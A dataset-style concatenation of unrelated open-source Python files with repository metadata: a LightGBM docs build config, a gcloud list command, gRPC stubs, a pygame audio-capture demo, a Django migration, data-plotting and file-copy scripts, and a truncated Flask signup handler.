def generate_doxygen_xml(app):
"""Generate XML documentation for C API by Doxygen.
Parameters
----------
app : object
The application object representing the Sphinx process.
"""
input = os.path.join(CURR_PATH, os.path.pardir, 'include', 'LightGBM', 'c_api.h')
doxygen_args = [
f"INPUT={input}",
f"OUTPUT_DIRECTORY={os.path.join(CURR_PATH, 'doxyoutput')}",
"GENERATE_HTML=NO",
"GENERATE_LATEX=NO",
"GENERATE_XML=YES",
"XML_OUTPUT=xml",
"XML_PROGRAMLISTING=YES",
r'ALIASES="rst=\verbatim embed:rst:leading-asterisk"',
r'ALIASES+="endrst=\endverbatim"',
"ENABLE_PREPROCESSING=YES",
"MACRO_EXPANSION=YES",
"EXPAND_ONLY_PREDEF=NO",
"SKIP_FUNCTION_MACROS=NO",
"SORT_BRIEF_DOCS=YES",
"WARN_AS_ERROR=YES",
]
doxygen_input = '\n'.join(doxygen_args)
doxygen_input = bytes(doxygen_input, "utf-8")
if not os.path.exists(os.path.join(CURR_PATH, 'doxyoutput')):
os.makedirs(os.path.join(CURR_PATH, 'doxyoutput'))
try:
# Warning! The following code can cause buffer overflows on RTD.
# Consider suppressing output completely if RTD project silently fails.
# Refer to https://github.com/svenevs/exhale
# /blob/fe7644829057af622e467bb529db6c03a830da99/exhale/deploy.py#L99-L111
process = Popen(["doxygen", "-"],
stdin=PIPE, stdout=PIPE, stderr=PIPE)
stdout, stderr = process.communicate(doxygen_input)
output = '\n'.join([i.decode('utf-8') for i in (stdout, stderr) if i is not None])
if process.returncode != 0:
raise RuntimeError(output)
else:
print(output)
except BaseException as e:
raise Exception(f"An error has occurred while executing Doxygen\n{e}")
def generate_r_docs(app):
"""Generate documentation for R-package.
Parameters
----------
app : object
The application object representing the Sphinx process.
"""
commands = f"""
/home/docs/.conda/bin/conda create \
-q \
-y \
-c conda-forge \
-n r_env \
cmake=3.18.2=ha30ef3c_0 \
r-base=4.0.3=ha43b4e8_3 \
r-data.table=1.13.2=r40h0eb13af_0 \
r-jsonlite=1.7.1=r40hcdcec82_0 \
r-matrix=1.2_18=r40h7fa42b6_3 \
r-pkgdown=1.6.1=r40h6115d3f_0 \
r-roxygen2=7.1.1=r40h0357c0b_0
source /home/docs/.conda/bin/activate r_env
export TAR=/bin/tar
cd {os.path.join(CURR_PATH, os.path.pardir)}
export R_LIBS="$CONDA_PREFIX/lib/R/library"
Rscript build_r.R || exit -1
cd {os.path.join(CURR_PATH, os.path.pardir, "lightgbm_r")}
Rscript -e "roxygen2::roxygenize(load = 'installed')" || exit -1
Rscript -e "pkgdown::build_site( \
lazy = FALSE \
, install = FALSE \
, devel = FALSE \
, examples = TRUE \
, run_dont_run = TRUE \
, seed = 42L \
, preview = FALSE \
, new_process = TRUE \
)
" || exit -1
cd {os.path.join(CURR_PATH, os.path.pardir)}
"""
try:
# Warning! The following code can cause buffer overflows on RTD.
# Consider suppressing output completely if RTD project silently fails.
# Refer to https://github.com/svenevs/exhale
# /blob/fe7644829057af622e467bb529db6c03a830da99/exhale/deploy.py#L99-L111
process = Popen(['/bin/bash'],
stdin=PIPE, stdout=PIPE, stderr=PIPE,
universal_newlines=True)
stdout, stderr = process.communicate(commands)
output = '\n'.join([i for i in (stdout, stderr) if i is not None])
if process.returncode != 0:
raise RuntimeError(output)
else:
print(output)
except BaseException as e:
raise Exception(f"An error has occurred while generating documentation for R-package\n{e}")
def setup(app):
"""Add new elements at Sphinx initialization time.
Parameters
----------
app : object
The application object representing the Sphinx process.
"""
first_run = not os.path.exists(os.path.join(CURR_PATH, '_FIRST_RUN.flag'))
if first_run and RTD:
open(os.path.join(CURR_PATH, '_FIRST_RUN.flag'), 'w').close()
if C_API:
app.connect("builder-inited", generate_doxygen_xml)
else:
app.add_directive('doxygenfile', IgnoredDirective)
if RTD: # build R docs only on Read the Docs site
if first_run:
app.connect("builder-inited", generate_r_docs)
app.connect("build-finished",
lambda app, _: copy_tree(os.path.join(CURR_PATH, os.path.pardir, "lightgbm_r", "docs"),
os.path.join(app.outdir, "R"), verbose=0))
app.add_transform(InternalRefTransform)
add_js_file = getattr(app, 'add_js_file', False) or app.add_javascript
add_js_file("js/script.js")
| [
"noreply@github.com"
] | arXiv-research.noreply@github.com |
66620a99f9c591d0399fb64135bc18f5511daf3e | 9fa8c280571c099c5264960ab2e93255d20b3186 | /system/scientist/experiment/remove/view.py | e49dc213fd8a1d49e71b132d6416187033778689 | [
"MIT"
] | permissive | thuchula6792/AutoOED | 8dc97191a758200dbd39cd850309b0250ac77cdb | 272d88be7ab617a58d3f241d10f4f9fd17b91cbc | refs/heads/master | 2023-07-23T16:06:13.820272 | 2021-09-08T14:22:18 | 2021-09-08T14:22:18 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 636 | py | from system.gui.widgets.factory import create_widget
class RemoveExperimentView:
def __init__(self, root_view):
self.window = create_widget('toplevel', master=root_view.root, title='Remove Experiment')
self.widget = {}
self.widget['experiment_name'] = create_widget('labeled_combobox', master=self.window, row=0, column=0, columnspan=2,
text='Experiment name', required=True)
self.widget['remove'] = create_widget('button', master=self.window, row=1, column=0, text='Remove')
self.widget['cancel'] = create_widget('button', master=self.window, row=1, column=1, text='Cancel') | [
"yunsheng@mit.edu"
] | yunsheng@mit.edu |
9a38399c9e91b0b590e07ffec154c506173b08a7 | e526543920e4974504cb62802c393d5bc46559db | /female-labor-force/female_labor_force.py | 8661eaf2f43beec409de2f01b78fb6af53fc144d | [] | no_license | mare-astrorum/python-crash-course-practice | b843f2067208b749558c4423556498e643c5fa42 | 47423808902b75af9d7888d4f9fa9f083bce88f4 | refs/heads/master | 2020-09-06T19:02:09.837740 | 2019-11-08T17:30:52 | 2019-11-08T17:30:52 | 220,516,919 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,775 | py | import csv
from pygal_maps_world.maps import World
from country_codes import get_country_code
# Load the data.
filename = 'data/female_labor_force.csv'
with open(filename) as f:
reader = csv.reader(f)
# Find the header row.
for i, row in enumerate(reader):
if i == 4:
header_row = row
# Create the dictionary containing country code and percentage of women
# in labor force.
cc_pop = {}
for row in reader:
# Eliminate the empty rows.
if row:
# Find population in 2016.
population = row[61]
# Eliminate empty values.
if population != '':
population = int(float(population))
country_name = row[0]
country_code = get_country_code(country_name)
if country_code:
cc_pop[country_code] = population
# Group the countries into 3 percentage levels.
cc_pop_1, cc_pop_2, cc_pop_3 = {}, {}, {}
for cc, pop in cc_pop.items():
if pop < 30:
cc_pop_1[cc] = pop
elif pop < 45:
cc_pop_2[cc] = pop
else:
cc_pop_3[cc] = pop
# See how many countries are in each group.
print(len(cc_pop_1), len(cc_pop_2), len(cc_pop_3))
# Create the map.
wm = World()
wm.title = 'Female Labor Force in 2016, %'
wm.add('<30%', cc_pop_1)
wm.add('30-45%', cc_pop_2)
wm.add('>45%', cc_pop_3)
wm.render_to_file('female_labor_force.svg')
| [
"a@a.com"
] | a@a.com |
967ce7d0a562a19af62f740ed144332b93de848f | 89055b2f91fb608806d4cb92754ee51f9fd7b436 | /sign_up_students_first_version/signup_stats.py | 0c99c7abfe71c556a5e98605529d69cc7cf6a7f1 | [] | no_license | rosedu/web-workshops | 52c778242e62dd7dbf8e629ab5fc8424e86a63f4 | 28ff91dca7f84a4a58f2ece6b94f28403e667776 | refs/heads/webdev-landing | 2023-05-11T06:38:48.370896 | 2023-05-03T16:47:58 | 2023-05-03T16:47:58 | 2,889,807 | 2 | 0 | null | 2023-05-03T16:47:59 | 2011-12-01T08:53:18 | HTML | UTF-8 | Python | false | false | 1,222 | py | import sys
from collections import defaultdict
import yaml
mail_blacklist = ['google@gigibecali.ro']
def main():
count = defaultdict(int)
for document in list(yaml.load_all(sys.stdin))[5:-1]:
if document['email'] in mail_blacklist:
continue
count['_total'] += 1
value_sunt = document['sunt']
count['sunt', value_sunt] += 1
if value_sunt == 'student':
facultate = document['student-facultate']
if ('automatica' in facultate.lower() or
'calculatoare' in facultate.lower()):
facultate = 'ACS'
an = document.get('student-an')
if an == 'I':
an = '1'
if an == 'II':
an = '2'
if an == 'III':
an = '3'
if an and an[0] == '3':
an = '3'
count['sunt-student',
facultate,
an] += 1
for name in document['topic-stiu']:
count['stiu', name] += 1
for name in document['topic-vreau']:
count['vreau', name] += 1
from pprint import pprint
pprint(dict(count))
if __name__ == '__main__':
main()
| [
"alex@grep.ro"
] | alex@grep.ro |
e037b4c7567e546162b66093e9500d87196bea8f | 70fa6468c768d4ec9b4b14fc94fa785da557f1b5 | /lib/surface/compute/target_http_proxies/list.py | e0e69989cde89c8fa89a984c02884926d50f4f55 | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | kylewuolle/google-cloud-sdk | d43286ef646aec053ecd7eb58566ab2075e04e76 | 75f09ebe779e99fdc3fd13b48621fe12bfaa11aa | refs/heads/master | 2020-04-20T22:10:41.774132 | 2019-01-26T09:29:26 | 2019-01-26T09:29:26 | 169,131,028 | 0 | 0 | NOASSERTION | 2019-02-04T19:04:40 | 2019-02-04T18:58:36 | Python | UTF-8 | Python | false | false | 2,877 | py | # -*- coding: utf-8 -*- #
# Copyright 2014 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Command for listing target HTTP proxies."""
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
from googlecloudsdk.api_lib.compute import base_classes
from googlecloudsdk.api_lib.compute import lister
from googlecloudsdk.calliope import base
from googlecloudsdk.command_lib.compute.target_http_proxies import flags
@base.ReleaseTracks(base.ReleaseTrack.GA, base.ReleaseTrack.BETA)
class List(base.ListCommand):
"""List target HTTP proxies."""
@staticmethod
def Args(parser):
parser.display_info.AddFormat(flags.DEFAULT_LIST_FORMAT)
lister.AddBaseListerArgs(parser)
parser.display_info.AddCacheUpdater(flags.TargetHttpProxiesCompleter)
def Run(self, args):
holder = base_classes.ComputeApiHolder(self.ReleaseTrack())
client = holder.client
request_data = lister.ParseNamesAndRegexpFlags(args, holder.resources)
list_implementation = lister.GlobalLister(
client, client.apitools_client.targetHttpProxies)
return lister.Invoke(request_data, list_implementation)
List.detailed_help = base_classes.GetGlobalListerHelp('target HTTP proxies')
@base.ReleaseTracks(base.ReleaseTrack.ALPHA)
class ListAlpha(base.ListCommand):
"""List Target HTTP Proxies.."""
@classmethod
def Args(cls, parser):
parser.display_info.AddFormat(flags.DEFAULT_LIST_FORMAT)
lister.AddMultiScopeListerFlags(parser, regional=True, global_=True)
parser.display_info.AddCacheUpdater(flags.TargetHttpProxiesCompleterAlpha)
def Run(self, args):
holder = base_classes.ComputeApiHolder(self.ReleaseTrack())
client = holder.client
request_data = lister.ParseMultiScopeFlags(args, holder.resources)
list_implementation = lister.MultiScopeLister(
client,
regional_service=client.apitools_client.regionTargetHttpProxies,
global_service=client.apitools_client.targetHttpProxies,
aggregation_service=client.apitools_client.targetHttpProxies)
return lister.Invoke(request_data, list_implementation)
ListAlpha.detailed_help = base_classes.GetMultiScopeListerHelp(
'target HTTP proxies',
scopes=[
base_classes.ScopeType.global_scope,
base_classes.ScopeType.regional_scope
])
| [
"cloudsdk.mirror@gmail.com"
] | cloudsdk.mirror@gmail.com |
8ee1e63fa12d87ff629257f88095d3dd0647cd17 | 92874c7364a5c7f026fbff1f06d3100280438724 | /pelicanconf.py | 54517ea5a124a86cd208cd1e99324be8e4b4bbcc | [] | no_license | quintusdias/quintusdias.github.io-src | 0c3e9d4d17def5a8761f0a1636d52c1147c9288f | 1dd2b3143abcc38d88d0f056e5023251c615ba36 | refs/heads/master | 2021-01-21T11:16:15.017329 | 2017-03-04T12:50:16 | 2017-03-04T12:50:16 | 83,545,468 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 909 | py | # -*- coding: utf-8 -*- #
from __future__ import unicode_literals
AUTHOR = 'John Evans'
SITENAME = 'https://quintusdias.github.io'
SITEURL = 'https://quintusdias.github.io'
PATH = 'content'
TIMEZONE = 'America/New_York'
DEFAULT_LANG = 'en'
DEFAULT_DATE = 'fs'
# Feed generation is usually not desired when developing
FEED_ALL_ATOM = None
CATEGORY_FEED_ATOM = None
TRANSLATION_FEED_ATOM = None
AUTHOR_FEED_ATOM = None
AUTHOR_FEED_RSS = None
# Blogroll
LINKS = (('Pelican', 'http://getpelican.com/'),
('Python.org', 'http://python.org/'),
('Jinja2', 'http://jinja.pocoo.org/'),
('You can modify those links in your config file', '#'),)
# Social widget
SOCIAL = (('You can add links in your config file', '#'),
('Another social link', '#'),)
DEFAULT_PAGINATION = 10
# Uncomment following line if you want document-relative URLs when developing
#RELATIVE_URLS = True
| [
"john.g.evans.ne@gmail.com"
] | john.g.evans.ne@gmail.com |
0a360c6b7f3a6caf3da4bcdc61eee7acace23b5c | 75d04e22b2688bc0b2c0a8dd14a4336eeb4be3bd | /distribute_data.py | 69002acf95b7fa55d644aaa6f411974aa0a92fb3 | [] | no_license | vbvg2008/CAPSNET | 2cae7580b5e5ded96bceb67f80083f2f06654e08 | 5d069f7fbd8c42e2f24807f7740a97682172c254 | refs/heads/master | 2020-03-06T20:04:47.583855 | 2018-04-27T20:15:30 | 2018-04-27T20:15:30 | 127,044,254 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,710 | py | import os
from shutil import copyfile
original_root = '/home/jenno/Desktop/core50_128x128/'
train_root = '/home/jenno/Desktop/core50_static/train'
test_root = '/home/jenno/Desktop/core50_static/test'
train_session = ['s1','s2','s4','s5']
test_session = ['s3','s6']
#now begin copy training data
for s_current in train_session:
print(s_current)
session_folder = os.path.join(original_root,s_current)
object_list = os.listdir(session_folder)
for o_current in object_list:
object_folder = os.path.join(session_folder,o_current)
image_list = os.listdir(object_folder)
#check if the object folder exists in training
destination_root = os.path.join(train_root,o_current)
if os.path.isdir(destination_root) is False:
os.mkdir(destination_root)
for image in image_list:
src = os.path.join(object_folder,image)
dst = os.path.join(destination_root,image)
copyfile(src,dst)
#now begin copy testing data
for s_current in test_session:
print(s_current)
session_folder = os.path.join(original_root,s_current)
object_list = os.listdir(session_folder)
for o_current in object_list:
object_folder = os.path.join(session_folder,o_current)
image_list = os.listdir(object_folder)
#check if the object folder exists in training
destination_root = os.path.join(test_root,o_current)
if os.path.isdir(destination_root) is False:
os.mkdir(destination_root)
for image in image_list:
src = os.path.join(object_folder,image)
dst = os.path.join(destination_root,image)
copyfile(src,dst) | [
"shawnmengdong@gmail.com"
] | shawnmengdong@gmail.com |
0f04671661041f0b708c2620229f78f0c46f83c2 | 4d66af0a7c2cbcfae37fa12f650ccc2accf2708b | /NPAF_pb2_grpc.py | 1266fb26145d2dccfccf06644f48145b69d4b02d | [] | no_license | Tiffanyyor23/gRPC | 804a38bcce2c509feffee101b998385d529fad80 | 18c06a9cb14eae7e8a673fce5aad7811c7821c3a | refs/heads/master | 2023-08-01T09:42:44.731850 | 2021-09-16T04:10:43 | 2021-09-16T04:10:43 | 407,016,166 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,372 | py | # Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
"""Client and server classes corresponding to protobuf-defined services."""
import grpc
import NPAF_pb2 as NPAF__pb2
class RouteDataStub(object):
"""Missing associated documentation comment in .proto file."""
def __init__(self, channel):
"""Constructor.
Args:
channel: A grpc.Channel.
"""
self.CollectRoutes = channel.unary_unary(
'/RouteData/CollectRoutes',
request_serializer=NPAF__pb2.RouteRequest.SerializeToString,
response_deserializer=NPAF__pb2.DeviceRoutes.FromString,
)
class RouteDataServicer(object):
"""Missing associated documentation comment in .proto file."""
def CollectRoutes(self, request, context):
"""Missing associated documentation comment in .proto file."""
context.set_code(grpc.StatusCode.UNIMPLEMENTED)
context.set_details('Method not implemented!')
raise NotImplementedError('Method not implemented!')
def add_RouteDataServicer_to_server(servicer, server):
rpc_method_handlers = {
'CollectRoutes': grpc.unary_unary_rpc_method_handler(
servicer.CollectRoutes,
request_deserializer=NPAF__pb2.RouteRequest.FromString,
response_serializer=NPAF__pb2.DeviceRoutes.SerializeToString,
),
}
generic_handler = grpc.method_handlers_generic_handler(
'RouteData', rpc_method_handlers)
server.add_generic_rpc_handlers((generic_handler,))
# This class is part of an EXPERIMENTAL API.
class RouteData(object):
"""Missing associated documentation comment in .proto file."""
@staticmethod
def CollectRoutes(request,
target,
options=(),
channel_credentials=None,
call_credentials=None,
insecure=False,
compression=None,
wait_for_ready=None,
timeout=None,
metadata=None):
return grpc.experimental.unary_unary(request, target, '/RouteData/CollectRoutes',
NPAF__pb2.RouteRequest.SerializeToString,
NPAF__pb2.DeviceRoutes.FromString,
options, channel_credentials,
insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
| [
"root@localhost.localdomain"
] | root@localhost.localdomain |
40876e5aad4716d60a85e698a8107b820be76212 | 2f19adddc875673df742475c1c97b5aca720cac7 | /venv/Lib/site-packages/pygame/examples/audiocapture.py | a5688898e35d724f0f1d1a57201e42275c36d548 | [] | no_license | rosepcaldas/Cursoemvideo | 4e71b1ce0fe6e5c2ac83a15ff9e18768778d1dab | c722b1f7f902e43168279cd4e0414215b8395dc6 | refs/heads/master | 2020-07-28T20:19:46.004918 | 2019-09-19T10:24:31 | 2019-09-19T10:24:31 | 209,524,974 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,276 | py | import time
import pygame as pg
if pg.get_sdl_version()[0] < 2:
raise SystemExit('This example requires pygame 2 and SDL2.')
from pygame._sdl2 import (
get_audio_device_name,
get_num_audio_devices,
AudioDevice,
AUDIO_F32,
AUDIO_ALLOW_FORMAT_CHANGE
)
pg.mixer.pre_init(44100, 32, 2, 512)
pg.init()
# init_subsystem(INIT_AUDIO)
names = [get_audio_device_name(x, 1) for x in range(get_num_audio_devices(1))]
print(names)
iscapture = 1
sounds = []
sound_chunks = []
def callback(audiodevice, audiomemoryview):
""" This is called in the sound thread.
Note, that the frequency and such you request may not be what you get.
"""
# print(type(audiomemoryview), len(audiomemoryview))
# print(audiodevice)
sound_chunks.append(bytes(audiomemoryview))
audio = AudioDevice(
devicename=names[0],
iscapture=1,
frequency=44100,
audioformat=AUDIO_F32,
numchannels=2,
chunksize=512,
allowed_changes=AUDIO_ALLOW_FORMAT_CHANGE,
callback=callback,
)
# start recording.
audio.pause(0)
print('recording with :%s:' % names[0])
time.sleep(5)
print('Turning data into a pygame.mixer.Sound')
sound = pg.mixer.Sound(buffer=b''.join(sound_chunks))
print('playing back recorded sound')
sound.play()
time.sleep(5)
| [
"rosepcaldas@gmail.com"
] | rosepcaldas@gmail.com |
3f17b54387be42dfd49e4162f5fb2bc7f40790a5 | f046ecf6ec2bdc41e7bbd7012ec6d46846644af3 | /carzone/cars/migrations/0001_initial.py | c085282e607a7fee584eb908c0995f3aa2ba1644 | [] | no_license | varunjha18/carzone_project_updated | 9f08e5b47cc6dc3d00c003797e8bc667737eb330 | 5853f8c569eac6c05cfe41b1a957586b1c83d48b | refs/heads/main | 2023-04-28T10:59:27.598746 | 2021-05-26T12:55:36 | 2021-05-26T12:55:36 | 369,875,618 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,950 | py | # Generated by Django 3.1.1 on 2021-05-22 13:46
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Car',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('city', models.CharField(max_length=200)),
('state', models.CharField(choices=[('AL', 'Alabama'), ('AK', 'Alaska'), ('AZ', 'Arizona'), ('AR', 'Arkansas'), ('CA', 'California'), ('CO', 'Colorado'), ('CT', 'Connecticut'), ('DE', 'Delaware'), ('DC', 'District Of Columbia'), ('FL', 'Florida'), ('GA', 'Georgia'), ('HI', 'Hawaii'), ('ID', 'Idaho'), ('IL', 'Illinois'), ('IN', 'Indiana'), ('IA', 'Iowa'), ('KS', 'Kansas'), ('KY', 'Kentucky'), ('LA', 'Louisiana'), ('ME', 'Maine'), ('MD', 'Maryland'), ('MA', 'Massachusetts'), ('MI', 'Michigan'), ('MN', 'Minnesota'), ('MS', 'Mississippi'), ('MO', 'Missouri'), ('MT', 'Montana'), ('NE', 'Nebraska'), ('NV', 'Nevada'), ('NH', 'New Hampshire'), ('NJ', 'New Jersey'), ('NM', 'New Mexico'), ('NY', 'New York'), ('NC', 'North Carolina'), ('ND', 'North Dakota'), ('OH', 'Ohio'), ('OK', 'Oklahoma'), ('OR', 'Oregon'), ('PA', 'Pennsylvania'), ('RI', 'Rhode Island'), ('SC', 'South Carolina'), ('SD', 'South Dakota'), ('TN', 'Tennessee'), ('TX', 'Texas'), ('UT', 'Utah'), ('VT', 'Vermont'), ('VA', 'Virginia'), ('WA', 'Washington'), ('WV', 'West Virginia'), ('WI', 'Wisconsin'), ('WY', 'Wyoming')], max_length=200)),
('car_title', models.CharField(max_length=200)),
('color', models.CharField(max_length=100)),
('model', models.CharField(max_length=100)),
('year', models.CharField(max_length=100)),
('condition', models.CharField(max_length=100)),
('price', models.IntegerField()),
('description', models.TextField(max_length=600)),
('car_photo', models.ImageField(upload_to='photos/%y/%m/%d/')),
('car_photo_1', models.ImageField(blank=True, upload_to='photos/%y/%m/%d/')),
('car_photo_2', models.ImageField(blank=True, upload_to='photos/%y/%m/%d/')),
('car_photo_3', models.ImageField(blank=True, upload_to='photos/%y/%m/%d/')),
('car_photo_4', models.ImageField(blank=True, upload_to='photos/%y/%m/%d/')),
('features', models.CharField(choices=[('Cruise Control', 'Cruise Control'), ('Audio Interface', 'Audio Interface'), ('Airbags', 'Airbags'), ('Air Conditioning', 'Air Conditioning'), ('Seat Heating', 'Seat Heating'), ('Alarm System', 'Alarm System'), ('ParkAssist', 'ParkAssist'), ('Power Steering', 'Power Steering'), ('Reversing Camera', 'Reversing Camera'), ('Direct Fuel Injection', 'Direct Fuel Injection'), ('Auto Start/Stop', 'Auto Start/Stop'), ('Wind Deflector', 'Wind Deflector'), ('Bluetooth Handset', 'Bluetooth Handset')], max_length=100)),
('body_style', models.CharField(max_length=100)),
('engine', models.CharField(max_length=100)),
('transmission', models.CharField(max_length=100)),
('interiors', models.CharField(max_length=100)),
('miles', models.IntegerField()),
('doors', models.CharField(choices=[('2', '2'), ('3', '3'), ('4', '4'), ('5', '5'), ('6', '6')], max_length=100)),
('passengers', models.IntegerField()),
('vin_no', models.CharField(max_length=100)),
('milage', models.IntegerField()),
('fuel_type', models.CharField(max_length=100)),
('no_of_owners', models.CharField(max_length=100)),
('is_featured', models.BooleanField(default=False)),
('created_date', models.DateTimeField(auto_now_add=True)),
],
),
]
| [
"varunjha2000@gmail.com"
] | varunjha2000@gmail.com |
fe123e0751e952b397db20f1c47b285ee1f6d27b | f569978afb27e72bf6a88438aa622b8c50cbc61b | /douyin_open/ShareIdShareId/__init__.py | b05b76dadef0b38f532e88c1a0b30e636ba79cb3 | [] | no_license | strangebank/swagger-petstore-perl | 4834409d6225b8a09b8195128d74a9b10ef1484a | 49dfc229e2e897cdb15cbf969121713162154f28 | refs/heads/master | 2023-01-05T10:21:33.518937 | 2020-11-05T04:33:16 | 2020-11-05T04:33:16 | 310,189,316 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 966 | py | # coding: utf-8
# flake8: noqa
"""
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
# import apis into sdk package
from douyin_open.ShareIdShareId.api.share_id_api import ShareIdApi
# import ApiClient
from douyin_open.ShareIdShareId.api_client import ApiClient
from douyin_open.ShareIdShareId.configuration import Configuration
# import models into sdk package
from douyin_open.ShareIdShareId.models.description import Description
from douyin_open.ShareIdShareId.models.error_code import ErrorCode
from douyin_open.ShareIdShareId.models.extra_body import ExtraBody
from douyin_open.ShareIdShareId.models.inline_response200 import InlineResponse200
from douyin_open.ShareIdShareId.models.inline_response200_data import InlineResponse200Data
| [
"strangebank@gmail.com"
] | strangebank@gmail.com |
4a0beee1ac136b3e523feffcfa1e9a36ce6d967f | 9c58a1f594e18cee20128f2c8dad8257429b10d1 | /custom_business_reports/wizard/sales_per_product.py | 495d5e1113521f969a5ae62178d4d361b1ebd2c6 | [] | no_license | gastonfeng/Odoo-eBay-Amazon | e8919768b2a1500209f209ee3aecc7f2fb10cda7 | a9c4a8a7548b19027bc0fd904f8ae9249248a293 | refs/heads/master | 2022-04-05T00:23:50.483430 | 2020-02-19T04:58:56 | 2020-02-19T04:58:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,007 | py | # -*- coding: utf-8 -*-
from datetime import datetime, timedelta
from pytz import timezone
import pytz
from odoo import models, fields, api
class SalesPerProduct(models.TransientModel):
_name = 'sales.per.product.wizard'
period_start = fields.Date('Period start', help="Date when the current period starts, sales will be counted one day/week/month to the past and to the future of this date",
default = datetime.now() + timedelta(weeks=-1), required = True)
grouping_criteria = fields.Selection([('day', 'Day'), ('week', 'Week'), ('month', 'Month')], 'Grouping criteria', required=True, default='week')
drop_percentage = fields.Integer(required=True, help="This report shows LADs where the sales drop percentage is higher than this percentage", default=0)
@api.multi
def button_download_report(self):
return {
'type': 'ir.actions.act_url',
'url': '/reports/sales_per_product?id=%s' % (self.id),
'target': 'new',
}
| [
"yjm@mail.ru"
] | yjm@mail.ru |
ab83b4c18b59a01c63603528d3559e0f3d384862 | cd5746f8cc7aee1f20606a65b4fae0d5e8ee78dc | /Python Books/Mastering-Machine-Learning-scikit-learn/NumPy-Beginner/CODE/Chapter2/shapemanipulation.py | b1649ea9beac68249de1ddd6e164eba87ed89124 | [] | no_license | theGreenJedi/Path | df24fca355590efef0c6cb5c52e7216c6b5d2464 | b5ed2805dbb046480929e49e550bfd8af5bb4d6f | refs/heads/master | 2023-07-27T14:23:37.694546 | 2021-07-16T01:38:55 | 2021-07-16T01:38:55 | 87,686,563 | 8 | 2 | null | 2023-07-11T22:49:03 | 2017-04-09T05:57:30 | Jupyter Notebook | UTF-8 | Python | false | false | 1,451 | py | from __future__ import print_function
import numpy as np
# Chapter 2 Beginning with NumPy fundamentals
#
# Demonstrates multi dimensional arrays slicing.
#
# Run from the commandline with
#
# python shapemanipulation.py
print("In: b = arange(24).reshape(2,3,4)")
b = np.arange(24).reshape(2,3,4)
print("In: b")
print(b)
#Out:
#array([[[ 0, 1, 2, 3],
# [ 4, 5, 6, 7],
# [ 8, 9, 10, 11]],
#
# [[12, 13, 14, 15],
# [16, 17, 18, 19],
# [20, 21, 22, 23]]])
print("In: b.ravel()")
print(b.ravel())
#Out:
#array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16,
# 17, 18, 19, 20, 21, 22, 23])
print("In: b.flatten()")
print(b.flatten())
#Out:
#array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16,
# 17, 18, 19, 20, 21, 22, 23])
print("In: b.shape = (6,4)")
b.shape = (6,4)
print("In: b")
print(b)
#Out:
#array([[ 0, 1, 2, 3],
# [ 4, 5, 6, 7],
# [ 8, 9, 10, 11],
# [12, 13, 14, 15],
# [16, 17, 18, 19],
# [20, 21, 22, 23]])
print("In: b.transpose()")
print(b.transpose())
#Out:
#array([[ 0, 4, 8, 12, 16, 20],
# [ 1, 5, 9, 13, 17, 21],
# [ 2, 6, 10, 14, 18, 22],
# [ 3, 7, 11, 15, 19, 23]])
print("In: b.resize((2,12))")
b.resize((2,12))
print("In: b")
print(b)
#Out:
#array([[ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11],
# [12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23]])
| [
"GreenJedi@protonmail.com"
] | GreenJedi@protonmail.com |
8db48489893a0ddd39db9dc8bd3cba251c0a46ba | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/nouns/_determinations.py | 19cd727e8dba49b7d873037177329135ce8d5944 | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 287 | py |
from xai.brain.wordbase.nouns._determination import _DETERMINATION
#calss header
class _DETERMINATIONS(_DETERMINATION, ):
def __init__(self,):
_DETERMINATION.__init__(self)
self.name = "DETERMINATIONS"
self.specie = 'nouns'
self.basic = "determination"
self.jsondata = {}
| [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
83c9ee9ea54b7d98e295f2b62de4a2bc7770d39d | a6cea8d1455f4927126b848c8598310a9242ab86 | /Handlers/Account.py | 53bd377011f4f62cef75ae4977af6e7d137b55db | [] | no_license | martin-woolstenhulme/sendwithfriends | 35b4410bda49fbfdfaf8920311e217db6758d2cf | 2daa32553dbace291c950ccd6de1bc5107ef50f7 | refs/heads/master | 2020-06-08T19:41:36.802905 | 2014-09-07T09:13:13 | 2014-09-07T09:13:13 | 23,756,328 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,823 | py | from flask import make_response
from flask import render_template, request, url_for, redirect, session, flash
from db_schema.db_functions import *
import json
from flask import jsonify
import logging
def signup_account():
data = request.json
print data
# retrieve information
password = data.get('password')
email = data.get('email')
